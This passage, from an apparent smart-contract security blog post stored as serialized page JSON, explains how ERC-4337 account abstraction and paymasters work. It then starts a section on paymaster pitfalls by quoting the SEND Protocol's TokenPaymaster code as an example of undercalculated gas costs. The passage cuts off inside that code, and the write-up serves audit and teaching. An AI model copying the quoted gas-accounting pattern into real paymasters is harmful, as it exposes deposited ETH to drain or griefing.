risky.",{"type":24,"tag":25,"props":108897,"children":108898},{},[108899],{"type":29,"value":108900},"By contrast, smart contract accounts (or \"smart wallets\") are programmable. They can enforce logic like multiple signatures, spending limits, social recovery, batching, and more, automating many aspects of security and usability.",{"type":24,"tag":62,"props":108902,"children":108904},{"id":108903},"why-erc4337-was-introduced",[108905],{"type":29,"value":108906},"Why ERC‑4337 Was Introduced",{"type":24,"tag":25,"props":108908,"children":108909},{},[108910],{"type":29,"value":108911},"Smart wallets offer powerful features, but Ethereum’s protocol restricts transactions to originate only from EOAs. Previous proposals (e.g. EIP‑2938, EIP‑3074) tried to change the protocol itself, requiring a hard fork. ERC‑4337 achieves account abstraction entirely off‑chain, using higher-layer infrastructure without any changes to Ethereum’s consensus layer. This unlocks key UX improvements:",{"type":24,"tag":97,"props":108913,"children":108914},{},[108915,108920,108925,108930,108935],{"type":24,"tag":101,"props":108916,"children":108917},{},[108918],{"type":29,"value":108919},"User recovery for lost keys (e.g. social recovery)",{"type":24,"tag":101,"props":108921,"children":108922},{},[108923],{"type":29,"value":108924},"Batched or atomic multi-step operations in one flow",{"type":24,"tag":101,"props":108926,"children":108927},{},[108928],{"type":29,"value":108929},"Paying gas fees with ERC‑20 tokens or via sponsor (gasless UX)",{"type":24,"tag":101,"props":108931,"children":108932},{},[108933],{"type":29,"value":108934},"Using custom signature schemes or multisig logic",{"type":24,"tag":101,"props":108936,"children":108937},{},[108938],{"type":29,"value":108939},"Creation and use of smart contract wallets without needing ETH or seed phrase upfront",{"type":24,"tag":62,"props":108941,"children":108943},{"id":108942},"how-erc-4337-works",[108944],{"type":29,"value":108945},"How ERC-4337 Works",{"type":24,"tag":25,"props":108947,"children":108948},{},[108949],{"type":29,"value":108950},"Before diving into each component, let's look at how ERC-4337 works at a high level:",{"type":24,"tag":25,"props":108952,"children":108953},{},[108954],{"type":24,"tag":74,"props":108955,"children":108957},{"alt":76,"src":108956},"/posts/paymasters-evm/flowchart.png",[],{"type":24,"tag":25,"props":108959,"children":108960},{},[108961],{"type":29,"value":108962},"The diagram above shows the key flow of ERC-4337. Below is a short explanation of each component shown above.",{"type":24,"tag":85,"props":108964,"children":108966},{"id":108965},"useroperation",[108967],{"type":24,"tag":135,"props":108968,"children":108970},{"className":108969},[],[108971],{"type":29,"value":108972},"UserOperation",{"type":24,"tag":25,"props":108974,"children":108975},{},[108976],{"type":29,"value":108977},"A UserOperation is a pseudo‑transaction object representing the user’s intent. It includes data like:",{"type":24,"tag":97,"props":108979,"children":108980},{},[108981,108986,108991],{"type":24,"tag":101,"props":108982,"children":108983},{},[108984],{"type":29,"value":108985},"Target contract call(s)",{"type":24,"tag":101,"props":108987,"children":108988},{},[108989],{"type":29,"value":108990},"Signature or validation metadata",{"type":24,"tag":101,"props":108992,"children":108993},{},[108994,108996,109002],{"type":29,"value":108995},"Gas limits and fee payment details (wallet address, paymaster, bundler)\n",{"type":24,"tag":135,"props":108997,"children":108999},{"className":108998},[],[109000],{"type":29,"value":109001},"UserOperations",{"type":29,"value":109003}," are submitted to a separate mempool (often called alt‑mempool), not the regular Ethereum transaction pool.",{"type":24,"tag":85,"props":109005,"children":109007},{"id":109006},"smart-contract-account",[109008],{"type":29,"value":109009},"Smart Contract Account",{"type":24,"tag":25,"props":109011,"children":109012},{},[109013,109015,109021,109022,109028],{"type":29,"value":109014},"Often called Sender or Smart Account, this is a user-controlled contract implementing logic via ",{"type":24,"tag":135,"props":109016,"children":109018},{"className":109017},[],[109019],{"type":29,"value":109020},"validateUserOp()",{"type":29,"value":518},{"type":24,"tag":135,"props":109023,"children":109025},{"className":109024},[],[109026],{"type":29,"value":109027},"executeUserOp()",{"type":29,"value":109029},". It specifies custom rules: signature checking, nonce logic, allowed calls, or spending limits.",{"type":24,"tag":85,"props":109031,"children":109033},{"id":109032},"bundler",[109034],{"type":29,"value":109035},"Bundler",{"type":24,"tag":25,"props":109037,"children":109038},{},[109039,109041,109046,109048,109054],{"type":29,"value":109040},"A Bundler is an off‑chain service or node monitoring the alt‑mempool. It collects multiple ",{"type":24,"tag":135,"props":109042,"children":109044},{"className":109043},[],[109045],{"type":29,"value":109001},{"type":29,"value":109047},", packages them, and submits them in a single transaction to the ",{"type":24,"tag":135,"props":109049,"children":109051},{"className":109050},[],[109052],{"type":29,"value":109053},"EntryPoint",{"type":29,"value":109055}," contract. Bundlers must use an EOA to pay gas upfront and are later reimbursed.",{"type":24,"tag":85,"props":109057,"children":109058},{"id":22421},[109059],{"type":24,"tag":135,"props":109060,"children":109062},{"className":109061},[],[109063],{"type":29,"value":109053},{"type":24,"tag":25,"props":109065,"children":109066},{},[109067,109068,109073,109075,109080,109082,109086,109088,109093],{"type":29,"value":1422},{"type":24,"tag":135,"props":109069,"children":109071},{"className":109070},[],[109072],{"type":29,"value":109053},{"type":29,"value":109074}," contract acts as the central on-chain gateway for ERC-4337. For every batch of ",{"type":24,"tag":135,"props":109076,"children":109078},{"className":109077},[],[109079],{"type":29,"value":109001},{"type":29,"value":109081}," submitted by a ",{"type":24,"tag":213,"props":109083,"children":109084},{},[109085],{"type":29,"value":109035},{"type":29,"value":109087},", the ",{"type":24,"tag":135,"props":109089,"children":109091},{"className":109090},[],[109092],{"type":29,"value":109053},{"type":29,"value":109094}," validates and routes each operation back to the corresponding Smart Contract Wallet for execution.",{"type":24,"tag":25,"props":109096,"children":109097},{},[109098,109100,109105,109107,109111,109113,109118,109120,109126],{"type":29,"value":109099},"Once all operations have been processed, the ",{"type":24,"tag":135,"props":109101,"children":109103},{"className":109102},[],[109104],{"type":29,"value":109053},{"type":29,"value":109106}," calculates the total gas consumed and reimburses the ",{"type":24,"tag":213,"props":109108,"children":109109},{},[109110],{"type":29,"value":109035},{"type":29,"value":109112},". This payment can come either directly from the sender's Smart Account deposit in the ",{"type":24,"tag":135,"props":109114,"children":109116},{"className":109115},[],[109117],{"type":29,"value":109053},{"type":29,"value":109119}," or from a ",{"type":24,"tag":135,"props":109121,"children":109123},{"className":109122},[],[109124],{"type":29,"value":109125},"paymaster",{"type":29,"value":109127}," that has agreed to sponsor the transaction.",{"type":24,"tag":85,"props":109129,"children":109130},{"id":109125},[109131],{"type":24,"tag":135,"props":109132,"children":109134},{"className":109133},[],[109135],{"type":29,"value":109136},"Paymaster",{"type":24,"tag":25,"props":109138,"children":109139},{},[109140,109142,109147],{"type":29,"value":109141},"A ",{"type":24,"tag":135,"props":109143,"children":109145},{"className":109144},[],[109146],{"type":29,"value":109125},{"type":29,"value":109148}," is an optional smart contract that enables flexible gas payment options. It can either sponsor gas fees directly or allow users to pay gas using ERC-20 tokens instead of ETH. It runs two key functions:",{"type":24,"tag":97,"props":109150,"children":109151},{},[109152,109163],{"type":24,"tag":101,"props":109153,"children":109154},{},[109155,109161],{"type":24,"tag":135,"props":109156,"children":109158},{"className":109157},[],[109159],{"type":29,"value":109160},"validatePaymasterUserOp()",{"type":29,"value":109162}," to validate the operation. This can check sponsorship eligibility or verify that the user has sufficient ERC-20 token balance and allowance to cover gas costs. The exact implementation of the function depends on how the protocol implements it.",{"type":24,"tag":101,"props":109164,"children":109165},{},[109166,109172],{"type":24,"tag":135,"props":109167,"children":109169},{"className":109168},[],[109170],{"type":29,"value":109171},"postOp()",{"type":29,"value":109173},", which handles post-execution accounting. For sponsored transactions, this may update internal accounting records, while for token payments, it typically finalizes any accounting related to the ERC-20 token payment.",{"type":24,"tag":25,"props":109175,"children":109176},{},[109177,109179,109184],{"type":29,"value":109178},"By supporting both sponsorship and token-based gas payments, ",{"type":24,"tag":135,"props":109180,"children":109182},{"className":109181},[],[109183],{"type":29,"value":109125},{"type":29,"value":109185}," removes the requirement for users to hold ETH, enabling truly gasless transactions through either model.",{"type":24,"tag":62,"props":109187,"children":109189},{"id":109188},"understanding-the-entrypoints-flow",[109190,109192,109197],{"type":29,"value":109191},"Understanding the ",{"type":24,"tag":135,"props":109193,"children":109195},{"className":109194},[],[109196],{"type":29,"value":109053},{"type":29,"value":109198},"'s Flow",{"type":24,"tag":25,"props":109200,"children":109201},{},[109202,109204,109209,109210,109215,109217,109228,109230,109235,109236,109241],{"type":29,"value":109203},"When a bundler submits ",{"type":24,"tag":135,"props":109205,"children":109207},{"className":109206},[],[109208],{"type":29,"value":109001},{"type":29,"value":24108},{"type":24,"tag":135,"props":109211,"children":109213},{"className":109212},[],[109214],{"type":29,"value":109053},{"type":29,"value":109216}," contract via ",{"type":24,"tag":32,"props":109218,"children":109221},{"href":109219,"rel":109220},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L58",[36],[109222],{"type":24,"tag":135,"props":109223,"children":109225},{"className":109224},[],[109226],{"type":29,"value":109227},"handleOps()",{"type":29,"value":109229},", the processing occurs in two main phases: ",{"type":24,"tag":213,"props":109231,"children":109232},{},[109233],{"type":29,"value":109234},"Validation",{"type":29,"value":518},{"type":24,"tag":213,"props":109237,"children":109238},{},[109239],{"type":29,"value":109240},"Execution",{"type":29,"value":41},{"type":24,"tag":85,"props":109243,"children":109245},{"id":109244},"validation-phase",[109246],{"type":29,"value":109247},"Validation Phase",{"type":24,"tag":25,"props":109249,"children":109250},{},[109251,109253,109258,109260,109266,109268,109274,109275,109280],{"type":29,"value":109252},"In this phase, the ",{"type":24,"tag":135,"props":109254,"children":109256},{"className":109255},[],[109257],{"type":29,"value":109053},{"type":29,"value":109259}," first validates all operations in the submitted ",{"type":24,"tag":135,"props":109261,"children":109263},{"className":109262},[],[109264],{"type":29,"value":109265},"UserOps",{"type":29,"value":109267}," array before executing any of them. This ensures that only valid operations proceed to execution. For each ",{"type":24,"tag":135,"props":109269,"children":109271},{"className":109270},[],[109272],{"type":29,"value":109273},"UserOp",{"type":29,"value":109087},{"type":24,"tag":135,"props":109276,"children":109278},{"className":109277},[],[109279],{"type":29,"value":109053},{"type":29,"value":12210},{"type":24,"tag":3834,"props":109282,"children":109283},{},[109284,109302,109320,109341,109353],{"type":24,"tag":101,"props":109285,"children":109286},{},[109287,109294,109296],{"type":24,"tag":32,"props":109288,"children":109291},{"href":109289,"rel":109290},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L764-L777",[36],[109292],{"type":29,"value":109293},"Calculates",{"type":29,"value":109295}," the required prefund amount by summing up all specified gas limits (verification, execution, and paymaster if used) multiplied by the user's specified ",{"type":24,"tag":135,"props":109297,"children":109299},{"className":109298},[],[109300],{"type":29,"value":109301},"maxFeePerGas",{"type":24,"tag":101,"props":109303,"children":109304},{},[109305,109312,109313,109318],{"type":24,"tag":32,"props":109306,"children":109309},{"href":109307,"rel":109308},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L545-L553",[36],[109310],{"type":29,"value":109311},"Calls",{"type":29,"value":3360},{"type":24,"tag":135,"props":109314,"children":109316},{"className":109315},[],[109317],{"type":29,"value":109020},{"type":29,"value":109319}," on the sender's smart account contract to verify the operation's validity (e.g. checking signatures)",{"type":24,"tag":101,"props":109321,"children":109322},{},[109323,109325,109332,109334,109339],{"type":29,"value":109324},"If no paymaster is specified, attempts to ",{"type":24,"tag":32,"props":109326,"children":109329},{"href":109327,"rel":109328},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L554-L557",[36],[109330],{"type":29,"value":109331},"deduct",{"type":29,"value":109333}," the prefund amount from the sender's ETH deposit in the ",{"type":24,"tag":135,"props":109335,"children":109337},{"className":109336},[],[109338],{"type":29,"value":109053},{"type":29,"value":109340}," (this can be partially refunded later if actual execution costs less)",{"type":24,"tag":101,"props":109342,"children":109343},{},[109344,109351],{"type":24,"tag":32,"props":109345,"children":109348},{"href":109346,"rel":109347},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L785-L788",[36],[109349],{"type":29,"value":109350},"Validates",{"type":29,"value":109352}," the nonce to prevent replay attacks",{"type":24,"tag":101,"props":109354,"children":109355},{},[109356,109358,109364,109366,109372,109373,109378],{"type":29,"value":109357},"If a paymaster is specified, it will ",{"type":24,"tag":32,"props":109359,"children":109362},{"href":109360,"rel":109361},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L623-L627",[36],[109363],{"type":29,"value":109331},{"type":29,"value":109365}," the required prefund amount from the paymaster's deposited ETH and then ",{"type":24,"tag":32,"props":109367,"children":109370},{"href":109368,"rel":109369},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L629",[36],[109371],{"type":29,"value":45964},{"type":29,"value":3360},{"type":24,"tag":135,"props":109374,"children":109376},{"className":109375},[],[109377],{"type":29,"value":109160},{"type":29,"value":109379}," on the paymaster contract to verify it will cover gas costs",{"type":24,"tag":25,"props":109381,"children":109382},{},[109383,109385,109390,109392,109397],{"type":29,"value":109384},"Only after all these validation checks pass will the ",{"type":24,"tag":135,"props":109386,"children":109388},{"className":109387},[],[109389],{"type":29,"value":109053},{"type":29,"value":109391}," move on to actually executing the ",{"type":24,"tag":135,"props":109393,"children":109395},{"className":109394},[],[109396],{"type":29,"value":108972},{"type":29,"value":109398},". This strict validation flow ensures that:",{"type":24,"tag":97,"props":109400,"children":109401},{},[109402,109407,109412,109417],{"type":24,"tag":101,"props":109403,"children":109404},{},[109405],{"type":29,"value":109406},"The operation is legitimate and authorized by the user",{"type":24,"tag":101,"props":109408,"children":109409},{},[109410],{"type":29,"value":109411},"Sufficient funds are available to cover gas (either from user or paymaster)",{"type":24,"tag":101,"props":109413,"children":109414},{},[109415],{"type":29,"value":109416},"The operation cannot be replayed",{"type":24,"tag":101,"props":109418,"children":109419},{},[109420],{"type":29,"value":109421},"All involved contracts (sender and paymaster) have approved the execution",{"type":24,"tag":25,"props":109423,"children":109424},{},[109425],{"type":29,"value":109426},"This multi-layered validation approach is crucial for maintaining security when processing operations that can involve complex smart account logic and third-party gas sponsorship.",{"type":24,"tag":85,"props":109428,"children":109430},{"id":109429},"execution-phase",[109431],{"type":29,"value":109432},"Execution Phase",{"type":24,"tag":25,"props":109434,"children":109435},{},[109436,109438,109443,109445,109452,109454,109459],{"type":29,"value":109437},"After all operations have passed validation, the ",{"type":24,"tag":135,"props":109439,"children":109441},{"className":109440},[],[109442],{"type":29,"value":109053},{"type":29,"value":109444}," begins the ",{"type":24,"tag":32,"props":109446,"children":109449},{"href":109447,"rel":109448},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L70-L72",[36],[109450],{"type":29,"value":109451},"execution",{"type":29,"value":109453}," phase, processing each ",{"type":24,"tag":135,"props":109455,"children":109457},{"className":109456},[],[109458],{"type":29,"value":108972},{"type":29,"value":109460}," individually. For each operation, the flow is:",{"type":24,"tag":3834,"props":109462,"children":109463},{},[109464,109524,109570],{"type":24,"tag":101,"props":109465,"children":109466},{},[109467,109468,109473,109475,109481,109482,109488,109490],{"type":29,"value":1422},{"type":24,"tag":135,"props":109469,"children":109471},{"className":109470},[],[109472],{"type":29,"value":109053},{"type":29,"value":109474}," makes a ",{"type":24,"tag":32,"props":109476,"children":109479},{"href":109477,"rel":109478},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L213-L232",[36],[109480],{"type":29,"value":45964},{"type":29,"value":6428},{"type":24,"tag":135,"props":109483,"children":109485},{"className":109484},[],[109486],{"type":29,"value":109487},"innerHandleOp()",{"type":29,"value":109489},", which:\n",{"type":24,"tag":97,"props":109491,"children":109492},{},[109493,109505,109510],{"type":24,"tag":101,"props":109494,"children":109495},{},[109496,109503],{"type":24,"tag":32,"props":109497,"children":109500},{"href":109498,"rel":109499},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L403",[36],[109501],{"type":29,"value":109502},"Forwards",{"type":29,"value":109504}," the operation to the sender's smart account contract",{"type":24,"tag":101,"props":109506,"children":109507},{},[109508],{"type":29,"value":109509},"Executes the intended transaction(s) within the smart account",{"type":24,"tag":101,"props":109511,"children":109512},{},[109513,109515,109522],{"type":29,"value":109514},"Handles ",{"type":24,"tag":32,"props":109516,"children":109519},{"href":109517,"rel":109518},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L821",[36],[109520],{"type":29,"value":109521},"post-execution",{"type":29,"value":109523}," tasks and cleanup",{"type":24,"tag":101,"props":109525,"children":109526},{},[109527,109529,109535,109537,109543,109544,109550,109552],{"type":29,"value":109528},"If a paymaster was used, ",{"type":24,"tag":135,"props":109530,"children":109532},{"className":109531},[],[109533],{"type":29,"value":109534},"Entrypoint",{"type":29,"value":109536}," will ",{"type":24,"tag":32,"props":109538,"children":109541},{"href":109539,"rel":109540},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L848-L857",[36],[109542],{"type":29,"value":45964},{"type":29,"value":3360},{"type":24,"tag":135,"props":109545,"children":109547},{"className":109546},[],[109548],{"type":29,"value":109549},"paymaster.postOp()",{"type":29,"value":109551}," to:\n",{"type":24,"tag":97,"props":109553,"children":109554},{},[109555,109560,109565],{"type":24,"tag":101,"props":109556,"children":109557},{},[109558],{"type":29,"value":109559},"Allow paymaster to finalize its accounting",{"type":24,"tag":101,"props":109561,"children":109562},{},[109563],{"type":29,"value":109564},"Process any refunds or additional charges",{"type":24,"tag":101,"props":109566,"children":109567},{},[109568],{"type":29,"value":109569},"Complete any paymaster-specific logic",{"type":24,"tag":101,"props":109571,"children":109572},{},[109573,109575,109580,109581,109588,109590],{"type":29,"value":109574},"Finally, after all operations are processed, the ",{"type":24,"tag":135,"props":109576,"children":109578},{"className":109577},[],[109579],{"type":29,"value":109053},{"type":29,"value":3360},{"type":24,"tag":32,"props":109582,"children":109585},{"href":109583,"rel":109584},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L74",[36],[109586],{"type":29,"value":109587},"compensates",{"type":29,"value":109589}," the bundler for:\n",{"type":24,"tag":97,"props":109591,"children":109592},{},[109593,109598,109603],{"type":24,"tag":101,"props":109594,"children":109595},{},[109596],{"type":29,"value":109597},"Gas costs from executing all operations",{"type":24,"tag":101,"props":109599,"children":109600},{},[109601],{"type":29,"value":109602},"Overhead from submitting the batch transaction",{"type":24,"tag":101,"props":109604,"children":109605},{},[109606],{"type":29,"value":109607},"Any unused gas, which is refunded",{"type":24,"tag":25,"props":109609,"children":109610},{},[109611],{"type":29,"value":109612},"This execution flow ensures secure and atomic operation execution, accurate tracking and settlement of gas costs, support for custom paymaster payment logic, and proper compensation for bundlers who provide the transaction submission service.",{"type":24,"tag":25,"props":109614,"children":109615},{},[109616,109618,109623,109625,109631,109633,109638],{"type":29,"value":109617},"Now that we understand how the ",{"type":24,"tag":135,"props":109619,"children":109621},{"className":109620},[],[109622],{"type":29,"value":109053},{"type":29,"value":109624}," works at a high level, let's examine how some protocols have failed to properly implement ",{"type":24,"tag":135,"props":109626,"children":109628},{"className":109627},[],[109629],{"type":29,"value":109630},"paymasters",{"type":29,"value":109632}," that align with the ",{"type":24,"tag":135,"props":109634,"children":109636},{"className":109635},[],[109637],{"type":29,"value":109053},{"type":29,"value":109639},"'s execution model, leading to potential vulnerabilities.",{"type":24,"tag":43040,"props":109641,"children":109643},{"id":109642},"common-pitfalls-in-paymaster-implementation",[109644],{"type":29,"value":109645},"Common Pitfalls in Paymaster Implementation",{"type":24,"tag":25,"props":109647,"children":109648},{},[109649,109651,109656],{"type":29,"value":109650},"While paymasters offer powerful flexibility, they also introduce new complexity, and with it, room for subtle bugs. Missteps in paymaster design can not only break gas sponsorship flows, but also expose their deposited ETH in the ",{"type":24,"tag":135,"props":109652,"children":109654},{"className":109653},[],[109655],{"type":29,"value":109053},{"type":29,"value":109657}," to exploitation or griefing.",{"type":24,"tag":25,"props":109659,"children":109660},{},[109661,109663,109668],{"type":29,"value":109662},"In this section, we’ll walk through the ",{"type":24,"tag":213,"props":109664,"children":109665},{},[109666],{"type":29,"value":109667},"two most common pitfalls",{"type":29,"value":109669}," we’ve observed in real-world paymaster implementations:",{"type":24,"tag":62,"props":109671,"children":109673},{"id":109672},"undercalculated-gas-costs",[109674],{"type":24,"tag":213,"props":109675,"children":109676},{},[109677],{"type":29,"value":109678},"Undercalculated Gas Costs",{"type":24,"tag":25,"props":109680,"children":109681},{},[109682,109684,109689,109691,109696,109698,109703,109705,109712],{"type":29,"value":109683},"To understand this issue, let's first examine how gas penalties work in the ",{"type":24,"tag":135,"props":109685,"children":109687},{"className":109686},[],[109688],{"type":29,"value":109053},{"type":29,"value":109690},". When a ",{"type":24,"tag":135,"props":109692,"children":109694},{"className":109693},[],[109695],{"type":29,"value":108972},{"type":29,"value":109697}," specifies an execution gas limit higher than what's actually used during execution, the ",{"type":24,"tag":135,"props":109699,"children":109701},{"className":109700},[],[109702],{"type":29,"value":109053},{"type":29,"value":109704}," charges a ",{"type":24,"tag":32,"props":109706,"children":109709},{"href":109707,"rel":109708},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.7/contracts/core/EntryPoint.sol#L718-L728",[36],[109710],{"type":29,"value":109711},"penalty of 10%",{"type":29,"value":109713}," of the unused gas. This penalty is paid to the bundler and is deducted from either the user's deposit (for regular transactions) or the paymaster's deposit (when using a paymaster).",{"type":24,"tag":25,"props":109715,"children":109716},{},[109717],{"type":29,"value":109718},"Now, let's examine a real-world example of how this penalty mechanism could impact paymasters. The SEND Protocol's paymaster implementation provides an instructive case study:",{"type":24,"tag":261,"props":109720,"children":109722},{"className":12193,"code":109721,"language":12192,"meta":7,"style":7},"contract TokenPaymaster is BasePaymaster, UniswapHelper, OracleHelper {\n[...]\n function _validatePaymasterUserOp(PackedUserOperation calldata userOp, bytes32, uint256 requiredPreFund)\n internal\n override\n returns (bytes memory context, uint256 validationResult)\n {\n unchecked {\n uint256 priceMarkup = tokenPaymasterConfig.priceMarkup;\n uint256 baseFee = tokenPaymasterConfig.baseFee;\n uint256 dataLength = userOp.paymasterAndData.length - PAYMASTER_DATA_OFFSET;\n require(dataLength == 0 || dataLength == 32, \"TPM: invalid data length\");\n uint256 maxFeePerGas = userOp.unpackMaxFeePerGas();\n uint256 refundPostopCost = tokenPaymasterConfig.refundPostopCost;\n require(refundPostopCost \u003C userOp.unpackPostOpGasLimit(), \"TPM: postOpGasLimit too low\");\n uint256 preChargeNative = requiredPreFund + (refundPostopCost * maxFeePerGas);\n // note: price is in native-asset-per-token increasing it means dividing it by markup\n uint256 cachedPriceWithMarkup = cachedPrice * DENOM / priceMarkup;\n if (dataLength == 32) {\n uint256 clientSuppliedPrice =\n uint256(bytes32(userOp.paymasterAndData[PAYMASTER_DATA_OFFSET:PAYMASTER_DATA_OFFSET + 32]));\n if (clientSuppliedPrice \u003C cachedPriceWithMarkup) {\n // note: smaller number means 'more native asset per token'\n cachedPriceWithMarkup = clientSuppliedPrice;\n }\n }\n uint256 tokenAmount = weiToToken(preChargeNative, cachedPriceWithMarkup);\n tokenAmount += baseFee;\n SafeERC20.safeTransferFrom(token, userOp.sender, address(this), tokenAmount);\n context = abi.encode(tokenAmount, userOp.sender);\n validationResult =\n _packValidationData(false, uint48(cachedPriceTimestamp + tokenPaymasterConfig.priceMaxAge), 0);\n }\n }\n[...]\n function _postOp(PostOpMode, bytes calldata context, uint256 actualGasCost, uint256 actualUserOpFeePerGas)\n internal\n override\n {\n unchecked {\n uint256 priceMarkup = tokenPaymasterConfig.priceMarkup;\n uint256 baseFee = tokenPaymasterConfig.baseFee;\n (uint256 preCharge, address userOpSender) = abi.decode(context, (uint256, address));\n preCharge -= baseFee; // don't refund the base fee\n uint256 _cachedPrice = updateCachedPrice(false);\n // note: price is in native-asset-per-token increasing it means dividing it by markup\n uint256 cachedPriceWithMarkup = _cachedPrice * DENOM / priceMarkup;\n // Refund tokens based on actual gas cost\n uint256 actualChargeNative = actualGasCost + tokenPaymasterConfig.refundPostopCost * actualUserOpFeePerGas;\n uint256 actualTokenNeeded = weiToToken(actualChargeNative, cachedPriceWithMarkup);\n if (preCharge > actualTokenNeeded) {\n // If initially provided token amount is greater than the actual amount needed, refund the difference\n SafeERC20.safeTransfer(token, userOpSender, preCharge - actualTokenNeeded);\n } else if (preCharge \u003C actualTokenNeeded) {\n // Attempt to cover Paymaster's gas expenses by withdrawing the 'overdraft' from the client\n // If the transfer reverts also revert the 'postOp' to remove the incentive to cheat\n SafeERC20.safeTransferFrom(token, userOpSender, address(this), actualTokenNeeded - preCharge);\n }\n\n if (baseFee > 0) {\n SafeERC20.safeTransfer(token, tokenPaymasterConfig.rewardsPool, baseFee);\n }\n\n emit UserOperationSponsored(userOpSender, actualTokenNeeded, actualGasCost, cachedPriceWithMarkup, baseFee);\n refillEntryPointDeposit(_cachedPrice);\n }\n }\n}\n",[109723],{"type":24,"tag":135,"props":109724,"children":109725},{"__ignoreMap":7},[109726,109770,109777,109834,109842,109850,109892,109899,109911,109933,109954,109984,110035,110065,110086,110124,110163,110180,110219,110243,110260,110303,110325,110342,110359,110366,110373,110399,110416,110451,110482,110494,110541,110548,110555,110562,110629,110636,110643,110650,110661,110680,110699,110763,110786,110819,110834,110869,110877,110916,110941,110962,110970,110997,111024,111032,111040,111082,111089,111096,111120,111136,111143,111150,111168,111181,111188,111196],{"type":24,"tag":271,"props":109727,"children":109728},{"class":273,"line":274},[109729,109733,109738,109743,109748,109752,109757,109761,109766],{"type":24,"tag":271,"props":109730,"children":109731},{"style":278},[109732],{"type":29,"value":96604},{"type":24,"tag":271,"props":109734,"children":109735},{"style":3887},[109736],{"type":29,"value":109737}," TokenPaymaster",{"type":24,"tag":271,"props":109739,"children":109740},{"style":278},[109741],{"type":29,"value":109742}," is",{"type":24,"tag":271,"props":109744,"children":109745},{"style":3887},[109746],{"type":29,"value":109747}," BasePaymaster",{"type":24,"tag":271,"props":109749,"children":109750},{"style":288},[109751],{"type":29,"value":158},{"type":24,"tag":271,"props":109753,"children":109754},{"style":3887},[109755],{"type":29,"value":109756},"UniswapHelper",{"type":24,"tag":271,"props":109758,"children":109759},{"style":288},[109760],{"type":29,"value":158},{"type":24,"tag":271,"props":109762,"children":109763},{"style":3887},[109764],{"type":29,"value":109765},"OracleHelper",{"type":24,"tag":271,"props":109767,"children":109768},{"style":288},[109769],{"type":29,"value":7145},{"type":24,"tag":271,"props":109771,"children":109772},{"class":273,"line":284},[109773],{"type":24,"tag":271,"props":109774,"children":109775},{"style":288},[109776],{"type":29,"value":1690},{"type":24,"tag":271,"props":109778,"children":109779},{"class":273,"line":294},[109780,109784,109789,109793,109798,109803,109808,109812,109817,109821,109825,109830],{"type":24,"tag":271,"props":109781,"children":109782},{"style":278},[109783],{"type":29,"value":96621},{"type":24,"tag":271,"props":109785,"children":109786},{"style":598},[109787],{"type":29,"value":109788}," _validatePaymasterUserOp",{"type":24,"tag":271,"props":109790,"children":109791},{"style":288},[109792],{"type":29,"value":606},{"type":24,"tag":271,"props":109794,"children":109795},{"style":278},[109796],{"type":29,"value":109797},"PackedUserOperation",{"type":24,"tag":271,"props":109799,"children":109800},{"style":278},[109801],{"type":29,"value":109802}," calldata",{"type":24,"tag":271,"props":109804,"children":109805},{"style":630},[109806],{"type":29,"value":109807}," userOp",{"type":24,"tag":271,"props":109809,"children":109810},{"style":288},[109811],{"type":29,"value":158},{"type":24,"tag":271,"props":109813,"children":109814},{"style":3887},[109815],{"type":29,"value":109816},"bytes32",{"type":24,"tag":271,"props":109818,"children":109819},{"style":288},[109820],{"type":29,"value":158},{"type":24,"tag":271,"props":109822,"children":109823},{"style":3887},[109824],{"type":29,"value":53835},{"type":24,"tag":271,"props":109826,"children":109827},{"style":630},[109828],{"type":29,"value":109829}," requiredPreFund",{"type":24,"tag":271,"props":109831,"children":109832},{"style":288},[109833],{"type":29,"value":694},{"type":24,"tag":271,"props":109835,"children":109836},{"class":273,"line":303},[109837],{"type":24,"tag":271,"props":109838,"children":109839},{"style":278},[109840],{"type":29,"value":109841}," internal\n",{"type":24,"tag":271,"props":109843,"children":109844},{"class":273,"line":312},[109845],{"type":24,"tag":271,"props":109846,"children":109847},{"style":278},[109848],{"type":29,"value":109849}," override\n",{"type":24,"tag":271,"props":109851,"children":109852},{"class":273,"line":321},[109853,109858,109862,109866,109871,109875,109879,109883,109888],{"type":24,"tag":271,"props":109854,"children":109855},{"style":749},[109856],{"type":29,"value":109857}," returns",{"type":24,"tag":271,"props":109859,"children":109860},{"style":288},[109861],{"type":29,"value":1357},{"type":24,"tag":271,"props":109863,"children":109864},{"style":3887},[109865],{"type":29,"value":90618},{"type":24,"tag":271,"props":109867,"children":109868},{"style":278},[109869],{"type":29,"value":109870}," memory",{"type":24,"tag":271,"props":109872,"children":109873},{"style":630},[109874],{"type":29,"value":83130},{"type":24,"tag":271,"props":109876,"children":109877},{"style":288},[109878],{"type":29,"value":158},{"type":24,"tag":271,"props":109880,"children":109881},{"style":3887},[109882],{"type":29,"value":53835},{"type":24,"tag":271,"props":109884,"children":109885},{"style":630},[109886],{"type":29,"value":109887}," validationResult",{"type":24,"tag":271,"props":109889,"children":109890},{"style":288},[109891],{"type":29,"value":694},{"type":24,"tag":271,"props":109893,"children":109894},{"class":273,"line":330},[109895],{"type":24,"tag":271,"props":109896,"children":109897},{"style":288},[109898],{"type":29,"value":4203},{"type":24,"tag":271,"props":109900,"children":109901},{"class":273,"line":339},[109902,109907],{"type":24,"tag":271,"props":109903,"children":109904},{"style":749},[109905],{"type":29,"value":109906}," 